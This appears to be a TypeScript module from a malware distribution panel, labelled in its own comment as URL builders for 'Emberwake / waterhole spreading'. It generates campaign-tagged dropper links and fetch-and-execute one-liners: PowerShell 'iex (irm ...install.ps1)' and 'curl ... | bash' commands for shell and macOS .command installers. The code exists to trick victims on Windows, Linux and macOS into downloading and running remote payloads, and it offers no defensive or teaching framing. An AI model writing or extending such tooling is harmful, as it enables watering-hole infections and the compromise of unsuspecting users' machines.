/** Campaign URL builders for Emberwake / waterhole spreading. */

export function campaignQuery(campaign: string): string {
  const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
  return slug ? `?c=${encodeURIComponent(slug)}` : '';
}

export function pinQuery(buildId: string): string {
  const id = buildId.trim();
  return id ? `?pin=${encodeURIComponent(id)}` : '';
}

export function combinedDropperQuery(pinBuildId: string, campaign: string): string {
  const parts: string[] = [];
  const pin = pinBuildId.trim();
  const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
  if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
  if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
  return parts.length ? `?${parts.join('&')}` : '';
}

export function ps1Oneliner(baseUrl: string, query = ''): string {
  const base = baseUrl.replace(/\/$/, '');
  return `iex (irm '${base}/install.ps1${query}')`;
}

export function shOneliner(baseUrl: string, query = ''): string {
  const base = baseUrl.replace(/\/$/, '');
  return `curl -sL '${base}/install.sh${query}' | bash`;
}

export function commandOneliner(baseUrl: string, query = ''): string {
  const base = baseUrl.replace(/\/$/, '');
  return `curl -sL '${base}/install.command${query}' | bash`;
}

export function getUrl(baseUrl: string, query = ''): string {
  return `${baseUrl.replace(/\/$/, '')}/get${query}`;
}

export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
  const base = origin.replace(/\/$/, '');
  const q = campaignQuery(campaign);
  return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
}